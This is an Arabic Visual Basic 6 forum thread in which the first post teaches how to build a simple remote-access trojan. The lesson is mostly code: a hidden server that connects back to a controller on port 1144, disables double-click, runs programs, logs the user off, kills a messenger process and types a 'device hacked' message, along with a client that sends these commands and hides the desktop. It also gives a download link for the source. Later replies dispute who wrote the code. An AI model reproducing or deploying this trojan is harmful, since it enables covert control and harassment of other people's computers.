نقطة التطوير  
المستخدم
كلمة المرور
غير مسجل
تنويهات الاعضاء
قبل بدء مشاركتك في المنتدى اضغط هنا


العودة   [ Dev-PoinT ] > نقطة لغات البرمجة > قسم فيجوال بيسك 6 و ما قبله



قسم فيجوال بيسك 6 و ما قبله للدروس و الشروحات الخاصه بـ Visual Basic 6 وما قبله . . .

!  قم بقراءة قوانين الموقع قبل اضافة رد , اضغط هنا

 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 07-Apr-2011, 03:07 PM   #1
love powermove
موقوف لمخالفة الشروط
 


love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



أضافة كصديق
افتراضي شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

السلام عليكم



شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق
و البورت هو 1144
نبدا بالسرفر

نضيف 2 تايمر + اداة الونسوك مهمة جدا في برنامج الاختراق




في الفورم :
كود:
Private Sub Form_Load()
Hide 'اخفاء الفورم
End Sub

كود:
Private Sub Timer1_Timer()
If w.State <> 7 Then
w.Close ' 
w.Connect "127.0.0.1", 1144 
End If '
End Sub

Private Sub Timer2_Timer()
SetDoubleClickTime 1 ' اغلاق الدبل كليك
End Sub

كود:
Private Sub w_DataArrival(ByVal bytesTotal As Long)
Dim cmd As String '
w.GetData cmd 'جلب البيانات
Select Case cmd 'ترجمة المتغير
الكود تابع :

كود:
Case "bbb"
Beep 'اصدار صوت

Case "unlock" 'فتح الدبل كليك
SetDoubleClickTime 0 ' 
Timer2 = False
Case "lock" 'اغلاق الدبل كليك
Timer2 = True 'تفعيل التايمر لغلق الدبل كليك

Case "not"
****************l "notepad.exe", vbMaximizedFocus 'لتشغيل المكرة عن طريق الدوس

Case "logo"
****************l "logoff"
'تسجيل الخروج
Case "endd"
End 'اغلاق السرفر

Case "ssd"
SendKeys "Êã ÇÎÊÑÇÞ ÇáÌåÇÒ" & Chr(13)
'ارسال جملة ][ تم اختراق الجهاز هه ][ للنافدة المفتوحة


Case "msn"
On Error Resume Next
****************l "taskkill /f /im msnmsgr.exe", vbHide

Case Else
MsgBox cmd, vbInformation, "note"
' عرض النص بمربع رساله
End Select
اغلاق الجملة

End Sub
نعمل الان العميل :




نضيف في الجنرال :
كود:
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Sub OpenCDDriveDoor(ByVal State As Boolean)
If State = True Then
Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
Else
Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
End If
End Sub
في امر فتح المفكرة :

كود:
Private Sub Command1_Click()
On Error Resume Next
w.SendData "not"
End Sub
كود:
كود اغلاق الميسنجر :
كود:
On Error Resume Next
w.SendData "msn"
في زر اخفاء سطح المكتب :

كود:
Dim hWnd As Long
    hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
    ShowWindow hWnd, 0
كود اضهار سطح المكتب :

كود:
Dim hWnd As Long
    hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
    ShowWindow hWnd, 5
في زر ارسال صوت

كود:
On Error Resume Next
w.SendData "bbb"
يا جماعة هاذا الامر مهم w.SendData "bbb" وهو يعني ارسال امر

في زر فتح الدبل كلك :

كود:
On Error Resume Next
w.SendData "unlock"
في زر الخروج :

كود:
On Error Resume Next
w.SendData "logo"
في زر اغلاق السرفر :

كود:
On Error Resume Next
w.SendData "endd"
في زر تجربة رسالة :

كود:
MsgBox Text1, vbInformation, "note"
في زر ارسال رسالة :

كود:
On Error Resume Next
w.SendData "" & Text1
في زر افراغ الرسالة :

كود:
Dim i As Integer
For i = 0 To Me.Controls.Count - 1
If TypeOf Me.Controls(i) Is TextBox Then
Me.Controls(i).Text = ""
End If
Next
2 - نعمل فورم للتبليغ :

نضيف لابل + تيمر

نضيف في الابل :

كود:
Form1.Show
Unload Me
وفي التيمر :

كود:
Form1.Show: Unload Me
لتحميل السورس : http://www.seed-share.com/c5dflj2ck93n

عندما اري انفعالاتكم مع الموضوع ساضع انشاء الله الدرس الثاني

تحياتي
قديم 07-Apr-2011, 04:23 PM   #2
Ďŕ.ŤřőЈàή
VIP DeveloPer
 
الصورة الرمزية Ďŕ.ŤřőЈàή
 


Ďŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond repute

Ďŕ.ŤřőЈàή غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

سورس مسروق مني وكاتب من برمجتك
توقيع Ďŕ.ŤřőЈàή

قديم 07-Apr-2011, 04:28 PM   #3
Ďŕ.ŤřőЈàή
VIP DeveloPer
 
الصورة الرمزية Ďŕ.ŤřőЈàή
 


Ďŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond reputeĎŕ.ŤřőЈàή has a reputation beyond repute

Ďŕ.ŤřőЈàή غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

الموضوع
برنامج يدعم الاتصال العكسي
هوا موضوع قديم شوي 2008
بس مشكور لشرحك

وجاري تقييمك
توقيع Ďŕ.ŤřőЈàή

قديم 07-Apr-2011, 04:32 PM   #4
zFahad
.:: Fahad Al-Mutairi ::.
 


zFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond reputezFahad has a reputation beyond repute

zFahad غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول



سورس مسروق مني وكاتب من برمجتك


اذآ الكلام صحيح
ياصاحب الموضوع :|
حرآم وربي ، ع الآقل اذكر الحقوق } ..


توقيع zFahad



علمته الرمايه فلما أشتد ساعده رماني

Fahad Al-Mutairi ? | Memon Hacker


قديم 07-Apr-2011, 07:05 PM   #5
love powermove
موقوف لمخالفة الشروط
 


love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول



المشاركة الأصلية كتبت بواسطة torjan مشاهدة المشاركة

سورس مسروق مني وكاتب من برمجتك
لا ليس هو تاكد حبيبي
قديم 07-Apr-2011, 07:08 PM   #6
love powermove
موقوف لمخالفة الشروط
 


love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول



المشاركة الأصلية كتبت بواسطة ميمون هكر مشاهدة المشاركة



اذآ الكلام صحيح
ياصاحب الموضوع :|
حرآم وربي ، ع الآقل اذكر الحقوق } ..


قلت من برمجتي
قديم 07-Apr-2011, 07:11 PM   #7
bboy mitche
Beginner Developer
 


bboy mitche is on a distinguished road

bboy mitche غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

يعجبني ابداعك

بانتضار الدرس الثاني
قديم 07-Apr-2011, 07:13 PM   #8
love powermove
موقوف لمخالفة الشروط
 


love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول



المشاركة الأصلية كتبت بواسطة bboy mitche مشاهدة المشاركة

يعجبني ابداعك

بانتضار الدرس الثاني
انشاء الله
قديم 07-Apr-2011, 07:29 PM   #9
hanixpo
Developer
 
الصورة الرمزية hanixpo
 


hanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to beholdhanixpo is a splendid one to behold

hanixpo غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول

مشكووووور اخي جاري تجريبه
توقيع hanixpo

????? ???? ????? ??????
???? ????? ????????
?????????????
??? ???????
????? ????



قديم 07-Apr-2011, 07:35 PM   #10
love powermove
موقوف لمخالفة الشروط
 


love powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud oflove powermove has much to be proud of

love powermove غير متواجد حالياً



أضافة كصديق
افتراضي رد: شرح عمل برنامج اختراق خفيف هه يدعم الاتصال العكسي ب5 دقائق الدرس الاول



المشاركة الأصلية كتبت بواسطة hanixpo مشاهدة المشاركة

مشكووووور اخي جاري تجريبه
pas de koi frére

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
الاتصال, الاول, الدرس, العكسي, اختراق, برنامج, يدعم, خفيف, حقائق


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is في
كود HTML معطلة
Trackbacks are في
Pingbacks are في
Refbacks are في



Creative Commons License
Services by Devpoint, Inc. is licensed under a Creative Commons Attribution-NoDerivatives 4.0 International License.


الساعة الآن 10:30 PM

Powered by vBulletin , Devpoint community system
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2014, vBulletin Solutions, Inc.
SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc.

[ Dev-PoinT ] الأعلى  
نقطة التطوير - Dev-point.com Copyright ©2006 - 2014
نظام الترقية - الحسابات الموثوقة - خصوصية الموقع - Devpoint v2.1.1 Final

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172